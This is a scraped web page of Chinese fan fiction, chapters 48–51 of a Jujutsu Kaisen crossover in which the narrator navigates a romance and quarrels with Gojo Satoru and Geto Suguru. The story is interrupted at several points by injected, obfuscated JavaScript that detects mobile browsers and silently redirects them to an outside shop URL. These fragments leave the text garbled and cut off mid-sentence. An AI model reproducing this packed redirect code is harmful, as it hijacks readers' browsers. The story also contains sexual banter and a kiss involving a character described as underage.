关于五条悟关于他唯一朋友的论断,你没打算反驳,目前看起来事实如此。 你只是随口说:“他快碎了。你也一样。” 就在五条悟纠结着嫉妒的时间里,你忽然意识到夏油杰之所以会对你说那些,是因为他无法对五条悟开口。而就像那天你说的话一样,人要有归宿,要为自己的话找个出口。 夏油杰选了你,因为你也和他说了一些事情,而且你从不令他有竞争意识。 “如果杰有事情,他当然会自己告诉我。你不许--用不着你代劳,我们好着呢!星夏。”五条悟现在不仅是对你说话了,他牢靠地揽住你的肩膀,远亲密于社交距离。急促灼热的呼吸弄得你脖颈侧滚烫,他在警告你:“现在,你得和我坦白,你和他一起出去的时候,你们做了什么?” 有关夏油杰,你的态度不和眼前的快乐小猫一样乐观。毫无疑问,夏油曾经是从容不迫的,即便是如今你也能在任务中窥得他风采。不过你想,从遇到伏黑甚尔以后,他或许就再也没能好起来。他的身上有一道伤疤,而灵魂在那里不断深入。目前看来,也许太深了。 “没做什么。五条前辈,你还记得先前你让我确保-不会把我们之间的事情-随口说出去的约定吗?”这个句子有点长,你也确实想把他绕晕. “是的,当我对夏油前辈保密的时候,我也同时承担了他的那部分约定。” “……”五条悟一点也不笨,他听明白了你的意思。 他生气了:“你们果然有秘密!而你居然还在炫耀这点!星夏你在欺负我吗?!” “没什么,你可以多关注他的状态,既然是挚友。”也许你不应当多嘴,现在,你挪腾开话题:“对了你的手机壁纸是谁?” “井上和香。身材很好的温柔大姐姐,怎样,嫉妒了吗?”他亮起屏幕,你看清了那个女人。 “还好。”偶尔人为生活也得低头,至少还有银行卡的余额。你想,连拍摄写真的人都能安然无恙生存,夏油杰这个咒术师更不该思考这些,良心太多导致的。 你对他把女明星放在手机里没什么异样,附和他的话:“她长得不错。” “重点是身材很好,不像你……” 五条悟低头,你也低头,他的意思是你的胸小。 真是喜欢开玩笑的学生,你扯开一个微笑,好奇地问他:“说起这个。” “?” 你又往下看,盯着他的腿,然后对上他的脸,你又扬起一个更加善意的笑:“你很大吗?性能怎么样?和网上的那些男人比?” “……” 你听见他深深吸了一口气,然后在你一个抬眼间消失在面前。 五条悟跑到车上不知道哪个座位去了,反正不挨着你。 你倚靠在窗户边,瞧瞧,现在是谁开不起玩笑? 在下车以后他在你后面走了长长的一段山路,才跑到你面前来指责你不知羞,想必是做好了心理建设:“你怎么可以说出那种话!你还和别的人这么说过吗?” 很难讲,对你身材评头论足的人大多都没法开口讲话了,你也忘记了自己和他们说了什么,所以四舍五入可以划归没有。 不过此刻,首先,你没打算对五条悟做什么;其次,就算你想,恐怕他也不会受伤。留给你的方向只有一条就事论事的说明。 于是你好整以暇:“不是你先说起来的吗?” “我那是--你--你是女孩,不一样的。” “我没瞧见有什么不一样。”你随口扯了句大道理,折叠的上坡山路让你疲惫:“都是上位者的凝视和霸凌,加上【开个玩笑而已】的立体防御。说起来总监部总把夏油前辈派到通勤时间远超任务时间的偏远地区也是一个道理呢,看起来不是什么大事,问就是克服一下,更何况他自己根本就不会质疑这些。” 你终于,终于,走到了学校的牌匾水平线,这个时候你回头,五条悟在水平面上还比你稍微矮一些。你在月光挣扎进来的树影下俯视,看着他,告诉他:“但我会。” 眼睛也是欲望的器官,你要多看自己想看的东西,而你认为五条悟失神的脸值得一观。如此想来,你也是个文雅人士,没说什么出格的话,就把他和总监部都骂了一通。 他还太年轻,没学会怎么斗嘴,开口就示了弱:“我没想到你会在意这些……” “我不在意,我以为你也不在意的。”你轻飘飘地返回去:“我没想到你会在意,前辈。” “……” 他眼睛瞪圆的样子宛若一只白猫蓝眼的贵气波斯猫,这种猫儿不擅长捕猎,主要依赖家养喂食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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纠缠,收紧,拍打,安抚,新奇的体验,湿濡的触感和磨蹭的力道,像一双交尾的蛇。 他过了很久才放过你。 你于是明白了,五条悟不算是完全的猫咪。嗯,他不止可爱,这令你气息鼓震的源头也并非威胁。 不知何时你已被他带到一处未途经过的墙角,坚硬的矮墙没让你觉得寒凉,因为你气息灼热,身体滚烫,而且他抱着你,没让你被压在墙垣。 他帮你捋顺了发丝,又嗅了嗅它的气味,放在耳后,又用拇指抹除你嘴边唇上的水渍,放在自己唇齿间。 你们的喘息声历历可辨。 蕴含天光的瞳孔明灭,可他问出来的问题又矮了一截:“杰呢,他没对你做过这种事吧?” 偏偏他眼里还是执拗的认真。 “谁知道呢,也许你们才是一对。”你不是真心真么想的,但他的话中挚友含量总是太高了,这是领地意识吗?还是特意担心夏油被你遗忘故意要提一嘴? 不过,你理智回笼,从他的话中认识到:他还是个孩子呢。 你的手背摩挲他的侧脸,他立刻朝那边迎合,动作中不乏依恋。只是目光一直炯炯看向你。 你揽住五条悟的脖子,抬高了自己,向他低下的头颅靠近。 你吻了吻他的额头。不含情欲的肌肤相贴。 这次是认真的回答:“没有。” 或许你什么都不该说,不过……你一直不是口风严的类型,所以…… 五条悟仍然是低着脑袋的状态,他的碎发连带光洁的脸颊蹭了蹭你的脸,最后贴在你的脖颈上,呼吸和你的脉搏一同节奏,声音故作清冷,但沙哑为它添上别的旋律:“我也是。我没和任何人做过这种事情,除了你。” “星夏。” 你没和任何人提起,但当五条悟叫唤你的名字时,他那样认真,像允诺,你认为你的一段灵魂都被他窃走了。心脏也为之一瞬止歇。 49.第 49 章 你和五条悟有了一种错误的默契:当他站在你面前的时候,你们的眼睛里都不会有别人。 这个别人具体到名称,于他而言从不存在,于你而言……他以为是夏油杰。 并非如此。 在那一个吻后,你先是被他勾了一下,随即又像线挂不住针一样让那种奇异的感觉溜走。 在你和你的长久生活中,这个固然天资卓越可注定要牵绊在日本咒术界的男孩算不上什么。然而他确凿无疑的喜欢你,并且又高傲到不愿意提起……你受到了一定程度的吸引。你不认为你对他是喜欢,最终把它归结为怜悯。 他会在车上牵住你的手,会对着你的侧脸失神,会用那双空无平淡因此被认为盛装天空的眼睛瞧你,宛若爱侣。 你为被这样耀眼的人牵挂而高兴--显然,人都有用他人的高评价而抬高自己的时候,你也没例外。 但在骄傲之余,如果那份让你感到不适的源头可以被称之为良心,如果你还有良心,你就会为你们毫无未来而对他怜悯。 你施与五条悟的东西是默许。 当他舒服地靠在你肩头,另一只手环抱你的腰背,突然却恶狠狠地戒备起来,警告你:“我不管你和杰的任务是怎么样的,但你不许让他对你这样。” 你会用右手轻捧起他的脸,像易碎品,然后你会淡淡地对他笑着:“好,而且他不会这样。” “你又不知道。”他亮出了一口银白的牙齿,像一只凶恶的小动物想要撕碎眼前假想的一切:“你不许!” 那天后来发生了什么你不记得了,但是在那之后立即的,你没忍住的一个贴面吻,你不至于迅速地遗忘。 毕竟那是你失态了。 总之,在私下里,你们看起来比有别人在时更亲密。但是那天晚上在高专的月下发生的事情,再也没有过。 你们一齐将它抛在了后头。 至于五条悟的挚友这边……又是另一幅光景。 先是生气。 他在知道了自己被你和五条悟讨论以后,并不开心。当然,他也不对挚友发脾气,只把火气丢给藏不住事情的你。 “我没要求你帮我斡旋。”这是事实,但夏油杰说出来就显得并不客气,因为他讲话的技巧比平铺直叙更好。 这时候若你回答诸如【你需要帮助】【我也是难得看不下去】这样的老好人大实话,事情就会变成市井街头的家长里短。 需要考虑艺术加工的人反而成了你。 此为你和夏油杰间的短暂倒置。你开口前迟疑:“比如,你会对一个热切的赌徒提供经费吗?” “喔,好,我成有不良嗜好的人了。”少年意气,总不希望被过度帮助和怜惜。 你赶紧改口:“或者说给正在燃烧的房子添一把新柴。” 事实上,不管从哪个角度来说,把事情透露给五条悟,然后让他去闹一通,最后收场,都可称为完美。这并非是一种对御三家现任家主之一的利用,他们本来就是朋友;也没伤害到本来就不出任务的高层利益;也绝非对夏油杰完成任务能力的质疑。 他仍然是备受瞩目的特级。 夏油杰正憋着一口气,有些青少年,你在网上看到的--他们会捏住自己的鼻子,捂住自己的嘴巴,尽可能的不呼吸,直到胸闷心悸,头脑发晕,这一切只是为了看自己能忍耐到什么程度。 传闻这是一种焦虑的症状。 他的不愉快最长持续了一周,最短你也不清楚。因为你们每周同行一次,其他时候没联系。后来他就好了。他还请你吃了第一根冰棍。 现在是五月初,号称黄金周的一个节日里。 “感谢芝加哥工人为劳动节做出的努力。”可惜这阵春风吹不到咒术界。 夏油杰现在会在你面前露出计较的一面了:“是我请你吃的吧?星夏,你现在不怕冷了。” 再过几天就是立夏,东京现在并不冷。但夏油说得对,现在你不畏寒,因为铸炉的力量。 “做了咒术师以后,再也不气血虚。”你随口解释。他不买账。 “你现在晚上还会额外学习,嗯,术法吗?” “不晓得你在说什么,前辈。” 几乎天天都在钻研,仍然。你听闻,最近伊泽姆去了其他世界,因此赤红教堂夜夜都少不了你的身影。 忠诚和出勤,你都非常有诚意地补齐,虽然你已在暗地里跑了一半,剩下的只是空壳和影子。 就像金融骗局和公司准备携款跑路前一样。 这样说自己恐怕不太好。不过确实如此。 最近你的热忱含量很高,还给大家的聚餐带上了新的甜品--咒灵。 由负面情绪凝聚、孕育而成的生灵,没有什么比它在能够契合赤杯苦痛的本质,即使算上新鲜血肉,算上如蜜佳酿,算上爱欲与纵情。 唯一的不足就是饱腹感几乎没有。 真是稀奇,站在你旁边的人视咒灵为浸湿呕吐物的臭抹布。你没吃过,也不打算把这个放入口中,所以不好说。 两极分化就两极分化吧。 你的若无其事并未引起追究,夏油杰撇开了话题,转而和你聊起自然灾害和任务,还有最近频繁回到高专的冥冥前辈与从京都那里调回来的庵歌姬。 他可消息真灵通。能直接从人员调度上推测这是一个不会轻松的年份。 也算一种……见微知著。 就像何时开春看花开的时节和鸭子下水的时节便懂得。 不过说到那个你曾见过一面的女人,你对她还残留一点印象:“冥冥好像很贵的样子,硝子前辈和我说起过。” “如果见面记得用敬语。”夏油如此提醒你,“她的咒力比较强大,也很有毅力,值得尊敬。收费……确实。” 他接着和你说起在已经逝去的冬天,五条曾邀请过她来测试自己的无下限术式。 那她的术式是击破类型的咯?你自然会这么想,不过夏油杰说不是。 在他具体说明是什么之前,你的注意力先被刚好抵达七位数的酬金全部吸走。 100万,确实够做世俗的吸铁石了。 “不管是狮子大开口的开价,还是能给出offer的五条前辈,都很惊人。”这个八卦到这里就够了,听多了你怕你也会染上嫉妒。 就算是一级,只要沾上了职业两个字,拿的钱就比特级的学生还多。 不知道怎么评价,你心里暗自称赞一句好生意。 这会正逢你不存在的劳动节黄金周,距离发放薪水的日子还有几天,你不想打扰自己安贫乐道的好心情。 “不如说说另一位吧,京都来的那个。” “庵歌姬前辈,准一级咒术师,已经毕业,现在在京都那边做老师。硝子还有冥冥和她关系都不错,硝子更好些。悟的话……有点喜欢欺负她。对了,她还是巫女。” “神官啊,但是意外的是性格比较急躁的类型?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13829228|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“嗯?”他看向你,想问你是怎么得出结论的。 “五条前辈没有特意欺负谁的兴趣,一般是特意为了看对方反应才做这种额外举动的,而且你用的字眼【欺负】,一般不会用好欺负来形容已经毕业的前辈。” 你得出了最终答案:“那一定要很有趣才行。那个词是怎么说来着,反差萌?” 夏油杰良心闪回:“你这样说前辈不太好吧。” “我说了三个前辈,你指哪个,夏油前辈?”你扭头对他笑。 夏油杰:“……都不好。” 这会端起前辈的架子来了。 你的笑容弧度变大,并不戳穿。 “说到巫女,和神明打交道不是门简单的科目呢。”咒术师最近都很辛苦,看得出来,但那仍然不是最困扰你的事情。 “也没有要打交道的神明……” 你很神秘,而且在某些时候有点故意吊人胃口,从夏油杰的眼神里,你看到了他的观点以及不赞同。 你是真有。 “总之,如果你去医务室的话,可能会在那里看见她。”夏油这么告诉你,“硝子也会介绍你们认识的。” “所以你的任务会稍微少些吗?” “……难得你还记挂这个。”夏油低下了头,他的呼吸都像在自嘲:“或许吧。” 那就是不会的意思。 他的奇怪刘海和忧愁一起自上而下被吹拂,汇聚在倦容上。沉闷的乌云就是如此汇聚在近夏的城市中。 你不会期待下雨的。 在回去的路上,你就把夏油杰的心情放在一旁,欣赏春夏交替的季节里火烧云一样的浓郁天光。你想,他确实也是聪明的人,而且只是暂时抛却话语权,只要他想,他可以让自己轻松些。 人是桥梁,夏油又正在躁动的青春期,不妨随便让他自己发挥,总归也能从甘愿负重的骆驼行进到重获自由的狮子。 “你最近还在看俄国文学吗?”夏油杰打断了你的失神,在车上与你搭话。他一只手搭上了你的肩膀,打破了半帘瀑发。 “看得少,还买了一本封面很漂亮的书。因为没拆封所以不知道讲的是什么。”你倒希望自己能有更多闲暇:“下次遇到新干线的任务就在新干线拆吧。” “真好,你总是对未来抱有期待。” 他有一副悲观的腔调,你忍不住轻笑:“不是更好就是更坏,所以往好的那边努力下。你学九十九由基撬几个任务,甚至能直接在宿舍做想做的事情。” 你还没见过那个特级,但是从同学前辈的闲谈中都能听见她的事迹。 “你这丫头--” 难掩笑意说出口以后,他自己都愣住。 你倒是对亲昵的称呼免疫,也不介意他继续把你当成可以继续亲近的后辈,夏油杰--据你所知,是不会随便对你伸手的,你无需背负他的期待。 “前、辈,说这么多你还是得注意早点休息,或者吃点褪黑素,或者你试试和钥匙祈祷。”你不负责任地建议,首先,上面有漫宿的小物件,其次,其中应该仍然残有无伤大雅的力量,说不定真的会应验。 他变成了苦笑:“这算什么建议啊。” 你却知道里头有不知道多少的可行性:“你瞧,这不算是对神明的,而是对我的,因为那是我造的东西。” “……那不就更奇怪了嘛。” 也对,你收敛起来,语调拖长:“只是提供一个思路,给你参考,前辈。” 50.第 50 章 本来应该是黄金周的最后一天,也是春天的最后一天,2007年5月5日,立夏之前。你听说夏油杰在任务中受了伤,硝子告诉你的。 “要不要来治疗一下呢?正好你还在高专。”她在电话那头是这么说的。 你去了,医疗室平常空旷,但今天热闹且拥挤。 五条悟的声音流畅响亮:“这么重的伤你还等什么,硝子你快点给杰治了。没必要等星夏。” “其实你最想说的是后一句。”然后是硝子,她嘴里应该叼着糖,或者烟:“啊,说着就来了。” 硝子推开门,招呼你:“再不快点夏油就愈合了。” 这时你听见夏油颇有活力的声音:“喂……不至于。” 你走进去的时候还看到了端正坐在椅子上的巫女小姐,应该就是庵歌姬。 你给大家粗浅打了招呼:“前辈们好。”直接涵盖100%。 然后你见到了那个伤口,确实,不至于。 对于外伤来说它还是有些严重的,医生看见会不顾一切的带进急诊的程度。不过夏油杰是咒术师,这对反转术式来说也可逆,所以大家都嘻嘻哈哈起来。 “你已经很久没治疗过别人了吧,正好有新鲜的,夏油又比较好说话。不用感谢我。”硝子的声音懒洋洋的:“这是歌姬前辈,来自京都校的老师,直接叫歌姬老师也没关系哦。对了,说不定夏油也更愿意被你治疗。” 踩平衡木是一门不简单的学问。321,你选择建立新的关注点以解决问题。 因此,几乎是硝子刚落音你就接上自己的铿锵有力:“歌姬老师好。” 也是同时,你听见后面传来一声冷酷的、单音节的、短促的:“哼!” 你充耳不闻。 “那个,就是,诶,很高兴见到你,铃木同学。硝子你也真是的……不要和后辈这样说哇!” 你见到了,可爱的巫女小姐。 她也恰好没意识到你拿她做靶子,只是在害羞。 你没忘记自己前来的本职工作,指尖拂过伤口的片刻,伤口就和开裂的大地一样愈合,血与肉与残余的咒力都被皮肤这层屏障严丝合缝地包裹。 结束后,你帮他扯下卷上去的衣袖:“好了,夏油前辈。” 你的精湛手艺得到了硝子的认可:“哎呀不错,有我二年级的风范了。” 也许是不甘心被忽视,你身后的人朝你靠近,然后是熟悉的吸力令你后退,栽到这人身上,他不接过你,反而推了一把,还说:“硝子你现在也才三年级。” 硝子:“五条,我没在你讲更过分的话的时候反驳过你。” 你像球一样被推动,又往前走两步才定下。 是夏油杰伸手扶住了你。 这下可了不得了。 你知道,他也知道,你身后的那个人也知道。 硝子的喉咙里咕哝出意义不明的嗓音:“噢哟。” 她是裁判,吹响了哨子信号,在那之后你们都小幅度动作:你向左边的庵歌姬迈了一步、夏油缩回了手、五条……当你回头的时候他戴着墨镜,双手叉腰。 可以从不透光的墨镜外窥见的真相是,他在利用自己的身高优势睥睨你们所有人,主要是你。 一般来说你不乐意和陌生人多讲话的,现在不太一般。你立即决定自己要和巫女交朋友。 于是顺畅地转过头,和置身事外的巫女小姐搭话:“还是第一次见到其他的老师……而且还是京都来的。那边生活有趣吗?” “还,还不错?去年我还没决定要入职高专,而且说起来似乎校交流会也没有见到你……”是会很认真回应别人寒暄的好心人呢,你瞧着她竟然还在仔细回忆的样子得出结论,最后她琥珀色的瞳孔睁圆:“哦,我想起来了,你是那之后插班入学的。” 太纯良了。 “交流会是什么?”你随便抓住她话里能继续延续的方向,真诚求教。 “交流会你都没听说过么,就是……” 话题顺顺利利进行下去。 在你有意控制距离的另一边,硝子也转头教训同期:“已经很久没见过星夏这个样子了,你们两个太恐怖了。她完全不想回头,啊,脚又往那边去了一步。” “硝子……你是故意的吗?” “夏油,你说哪个?” “我的意思是从头到尾……” “嗯……真是青春啊。最近你总是缺乏活力的样子,我想星夏和五条能让你好起来。嘿嘿。” “不是这种【好】吧。” “正好今天歌姬前辈来看我,星夏应该也没事情,你过会要来帮我们拎包吗?啊五条,如果夏油来的话你应该也会来,别惹我们歌姬老师生气啦~” “啊啊啊啊啊硝子,别这样叫我!”和你话说到一半的歌姬突然对旁边发表羞涩但大声的抗议,而后才歉意地转回来:“啊抱歉星夏同学,刚刚我们说到哪里了……” 你慢吞吞地收网:“我也不太清楚了,五条前辈总是让你生气吗?” “……这个,也还好。”歌姬有点为难,但最终决定了说辞:“他的实力和个人主义差不多程度,这给人际交往带来了不少问题。” 她说话时确实能见到其中的教师气质,比如形容五条就像是班主任又要给面子又要暗示某人确实是个问题学生。 你推测,她在试图在你这个后辈的后辈面前帮忙遮掩。 “个人主义?那是因为歌姬你太弱了所以才会这么认为。” 一句话。 现在你知道为什么夏油杰会用欺负那个字眼了。 小小的医务室中,在短短几分钟内,你的站位变换了多次。现在,最新战况,你站在硝子身后。看为人师表的前辈前辈咬牙切齿对后辈无可奈何。 顺便,你觉得总的说来目前高专的学生们都称不上个人主义,团体意识多少还是有的,有人太重了,你看向夏油杰;有人比自己以为的更上心,你看向还在口出恶言的五条悟。 他则是竖起手指,展开术式,也无视了正在继续输出的歌姬,变了副脸色看你:“你瞧什么瞧!” 现如今,你意识到不理他才是良策,于是低头,手搭在硝子肩上:“过会我们出去玩?不然就不带两位前辈了吧。看起来歌姬老师不喜欢他们。” “很为别人考虑的样子却说出了对自己最好的话呢,星夏。”硝子反手拉住你的手腕:“你到底在想什么呢?” “想怎么样才能避免麻烦。” “他们要伤心咯?” “没有说前辈们麻烦的意思。”这个补丁来的有点迟,今天的硝子有点挑事。 那边正在说起五条悟目中无人的毛病,他本人对此自然是矢口否认,然后顺嘴又把矛头指向了一点没参与的你:“很明显在场有一个最目中无人的存在,歌姬,你要是连这个也看不出来,你的问题就不止在实力上了。” 兵来将挡水来土掩,但没有对面不响鼓声就跑出去几里路御敌的道理。 你只当做听不见他的含沙射影。 你垂下的发丝落到了硝子颈边,她问你:“过会想吃什么?” “说到春末,那就是各种应季的水果了,去超市里买点然后带去店里喝下午茶吗?” “以后我们也会这样消磨时间等下班。”硝子扬起头,眉眼带笑倒着看你:“用高专发的钱消费,又在付出劳动的时候摸鱼,用你的话说就是【两份工资】对吧?” 你点头应和,听起来这也是很美好的生活,你忍不住开始幻想起了自己上班玩电脑的快乐:“那应该相当值得期待。” 毕竟电脑经费也是走高专办公专款。 你要在财政额度内买性能最好的。 “不过在此之前,要和咒术师搞好关系哦。”硝子指了指正在对你龇牙的五条:“其实我以为你们好起来了,才想着聚一起,结果没有啊。” 她又对你透露了一条有用情报:“他们现在还是黏糊糊的,你来了他们就站得很远。” 这个时候夏油杰掩饰性地背过身去和这个房间里另一个特级说话:“悟,既然已经没什么事情,不如我们就回去。” 而五条的反应像是终于找到了一个有反应的出气筒,他嘴巴带刺,说话含着气:“害怕寂寞吗?要走的话杰你就自己走,我找硝子还有事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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夏油杰面色复杂,他是除了硝子之外站得最近的人,恰巧他对你的火焰有点认知,因此能从散落的音节中最快听明白你的意思。 他告诉了你:“你刚才在说,【绝对的知识;所有的夜,必得终结】。” “……别再说让人毛骨悚然的话了。”硝子凑到你脸前:“你这几天是不是看火烧金阁寺入迷了?被1950年的灵魂夺舍了?” 你前些日子买了一本封面很漂亮的文学作品,它也有着颇具历史的名字《金阁寺》,在看之前你都不知道这座地标最后是被人在夜里放一把火烧了。 这是本取材于真实事件的长篇小说,位于京都的金阁寺曾经真实的随着里头的国宝级文物付之一炬。 比对夏油杰说的预想状况更好,你在医务室里有很多空闲时间,因为硝子负担了一半报告。 她虽然认为读书是老掉牙的爱好,但客观说,这里确实网络不非常好。后来她买了法医探案那种非主流但流行的通俗小说来看。 你现在面临的指控是21世纪以来最冤枉的一次。这是毛利小五郎级别的。 这时候举起双手也没办法完全展示你的冤屈:“侦探大人,我全都招。” 后来,你们的下午茶还是有两位前辈的加入。虽说自带饮食在一些餐厅是不被允许的,但既然你们进入了一个包间--硝子斥巨资预定的,又和餐厅经理商量好了事项。 你们能在和大堂隔绝的房间里享用一些外来的食品了。 一开始被派去买东西的只有两位男士。 后来五条悟想拉上你一起,硝子又说:“正好,我可以再和歌姬前辈说会话--星夏,她可是对你还有……嗯,很好奇。” 你被当成八卦放送了。你明白,你在这才是最不讨喜。 最终,采购的人成了你们三个,你跟在他们后面几步低头走了出去。 在你终于不得不说话的时候,情势已经有些紧张。起因在走到人来人往的街道后,五条悟先返回朝你走了两步,拉住你的一只胳膊,把你拽得往他那里走了两步:“这下你总没办法逃跑了。” 接着他扭头朝也在往你这靠拢的另一个人说:“过会我和星夏去买就行,杰你可以在附近等我们。” 两句话把你们全都安排了。 接下来,夏油杰握住了你的另一只手,他甚至无视了自己的好友,只问你:“你想和我一起去买东西吗?” 你尝试挣脱,但左右手都拿不开。 这下……事情有点不好办了。 51.第 51 章 你一般不是最乐于折中的人,不过毕竟曾经的你也比现在激进许多,现如今……你提出了那个几分钟前,从硝子口中冒出的同样字眼:“正好,不如我们一起去如何?” 五条悟瞪了你一眼,而夏油杰松开了手。 这也是最近你在与两人分别独处时,经常撞见的情况:他会突然发脾气,而他会欲言又止。 现在你疲劳地像是一个退休多年但家庭困难又去打零工,下班以后还要接两个关系不佳的孙子去菜场买已经被人挑剩下-但价格不变的晚餐材料,的晚年失独老奶。 至少你的无助可以与上述案例相提并论。 五条悟的视线灼烧你的太阳穴,夏油杰的目光刺伤你的眼睛,也许你脑袋空空,中间只是两个年轻人交战的处所。 朦胧中,你捕捉到一点信息:就目前而言,少年意气的两个人的眼睛里都只有彼此间的争强好胜,没有你。 知慕少艾是一回事情,朋友之间情谊一件事情,它们都不是青春的全部,所以你并不算是完全处于……嗯,大家是怎么说这个事情来着?修罗场。 于是你打破在闹市上独属于你们三人的沉寂,建议:“不然你们吵一架,谁输了我和谁去买东西?你们懂得,出于对败者的怜惜。” 这个火上浇油的建议最大的成效就是集火你自己。 五条悟言辞激烈,夏油杰措辞严谨,都觉得你置身事外的样子荒谬至极。 “你们两个让我有点不安了,我们能否在往前走三步,后退两步的情况下顺利抵达超市完成购买任务?” 因此,在接下来的十几分钟内,你们又回归到安静中去。 只在你尝试付钱而掏不出纸币时从你身后伸出了两只手,一左一右。 为难的局面,你像奥林匹克运动会的裁判一样甄别,然后抽取了先出手的夏油杰提供的货币。 在回去的路上,你独自拎着环保袋。 最后,还是夏油杰于心不忍朝你开口:“星夏,你不应该这样漠不关心。至少……至少也和你有些关系。” 如此,他就给了自己一个见识到你倔脾气的机会,显然,你没有完全领情。因为你对他说:“这样啊,如果我表现得惶恐不知所措,你们都会好受些吗?” 好像这正是他们所需要的,缺乏主观判断的浮萍蓬草。 一触即发。 五条就是在这个时候冷淡地给你定性:“强词夺理。” 你一般也不喜欢反驳的,但是最近的火点燃了你还没熄灭的乖张,你发出一声不短不长的哦的反问,接着口齿伶俐地给出一个似是而非的肯定回答:“当然了。有的时候我觉得你很了解我,有的时候我不这么觉得。” 不过也只有笨蛋才会觉得你在肯定他的说辞。 这句话出口最先暗自惊讶的人其实是你自己,你竟然那会用这样的口吻挑衅一个还没有成年的学生?你在为自己不平吗?没有吧;愤怒吗?也不见得。 你的动摇在看见他愠怒的表情后转为冷酷坚定。 你想,本该如此的,这两个学生是有些吸引人,不过这不能改变什么。你在内心自嘲,他们甚至都不算认识你。那些咒术师们奉行的规定与条例,耳濡目染的学生们怎么可能越过思维的藩篱去考虑你? 本日的微型争端结束于他们一人一句的话语。 五条悟先说:“那我对你没什么好说的。”然后扭头就走。 然后是夏油杰:“……星夏,我无意指责,但你确实故意激怒了悟。为了什么?”他留下一个问题,追了上去。 这就是他,夏油杰,这样重视友情。 至于五条悟…… 你不知道,懒得去想了。 下午茶没什么暗流涌动,先是夏油发来了消息给硝子,路上有点事情,他和悟先走了云云… 歌姬老师倒是问了你几个关于五条悟的问题。 “听说你对付他是有一套的?我就说一报还一报。” 那这么说,庵歌姬这不就是摆明了承认自己曾经被欺负了吗?对顽皮后辈的报复欲望甚至超越了前辈的包袱心理,当真有意思。 但她的问题答案,如今你也不好说了:“这个嘛,很难讲谁真的对五条前辈有一套,也许夏油前辈会有点心得。” 这是一句真话。 最后你们一人吐槽了一句: 她是恼怒:“因为他是五条悟啊,可恶!” 你是迟疑:“因为他是五条悟……吧。” 在回去到最后只有你们两人的时候,硝子果不其然问你下午的事情。 没有厘清的事情你不会贸然告诉第三--现在她是第四人,因此只陈明这个小插曲的严重性:“不好说,但我们应该一段时间说不上话了。” “如果还没恋爱就冷战,普遍观点都会不建议坚持的。你把他们都弄生气了?包括夏油?” 你认为硝子说的十分正确,不过不表态的理由也和刚开始一样,你只回答道:“如果以五条前辈的程度为1来判断,夏油前辈大约是0.3:他本来就很能忍,加上耐受。” 鉴于你和夏油之间的系列往事,你认为他至少对你会有些钝感力。 “哇哦。”硝子呼出一口气,“难得这个时候你还能怡然地打起分。” “……”这不是什么好的评价,你聪明,不回答。 正如你所料,她下一句郑重其事地说:“我绝对不会爱上你这样的人,星夏。” 你这样的人怎么了? 大部分你这样的人不是在谋划反社会的事情就是在想还能活几天,偶尔的还有去与世隔绝的小岛上隐居:前者是其他长生者、具名者和司辰,中间的是长寿老人(但也一天少于一天了),后者是已经被世界遗忘的午港人。 你这样的人已经是非常好了。 你告诉她:“现在谈爱未免奢侈,不好假定不存在的东西吧?” 你的本意是说无论是夏油还是五条,他们对你都远不是爱,首先,程度不够;其次,怎么能说谁爱上一个不了解的人呢? 两人分别眼中的你,和你本人,大概能凑成三模三样的三个人。 但硝子好似会错了意。 “你说我谈不上恋爱?” “……” “怎么,哑口无言说不出话了,被前辈戳穿了吗?”她眼里带笑调侃你。 “不是。” 和青少年的这些纠葛突然之间就跳出来缠住了你,让你意识到这应该很丢人,你是不相信女人至死是少年这句话的。而这一认知又让你左右为难,因为实际上你现在的困惑和那些青春期小朋友没什么两样。 被迫在悖论中进退维谷,不太从容。 你说:“很难讲,谁会遇到什么事情。天道不测,造化弄人。” 五条悟在接下来几周都没有和你说话,直到大家紧锣密鼓地开始准备这次依旧会毫无悬念的交流赛。 首先,东京这里有两个特级。 然后没了。 中间夏油杰倒是在之后的第三周和你聊过此事,因为你们在前半个月的14天内在人际关系上精确来讲--毫无进展,一切都被春天的最后一天冻结。 “你就没想过要去和悟道歉吗?” 你也是头一次听说这样的事情:“我们滑坡到这种程度了吗?” 一天两天三天的,你被夏油大法官定罪了。 这话说出来喜剧效果尽显,他停下脚步,刘海在空中摆荡一个饱满的弧度:“原来,你还没觉得自己有什么不对啊。” 你认真向另一位前辈请教:“我洗耳恭听,请讲?” “就是你这样的态度才令他恼火啊……”夏油杰眼中闪过恍然,无意识间面容流露出哀怨,也和他眼波般一闪而过。 你凝神继续听。 他在初夏的太阳里承阳光的恩惠,在你看去时,你能看见这张至少看上去没有稚气的脸上,他的瞳孔折射出金光。配合那副美好坚忍的面容,看上去倒有点神圣的慈悲。 在踌躇之后,夏油向你坦言:“我觉得,你其实并没有看到悟。” “嗯?” 他说的认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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因此你对他们的漫不经心和被认为的【熟视无睹】和【漠视】,本质上是一种家长忙着工作没时间100%回应小孩今天在幼儿园里发生了什么事的必然。 你的热切愿景,和他们的沙堆城堡,可不是同一码事。 相当一部分的家长会喜欢自己的孩子,但他们同时还是会嫌烦。你没嫌烦,在很多事后你上只是懒得听。 你的脾气已经相当好了。 就像现在,你还愿意为平和但不以为然的俊美少年作进一步说明。 “你瞧,如果拿撰写书籍譬喻人的一生,内容和厚度就是他们的灵魂。显然,作家都希望自己的作品被看见,甚至流芳百世。” 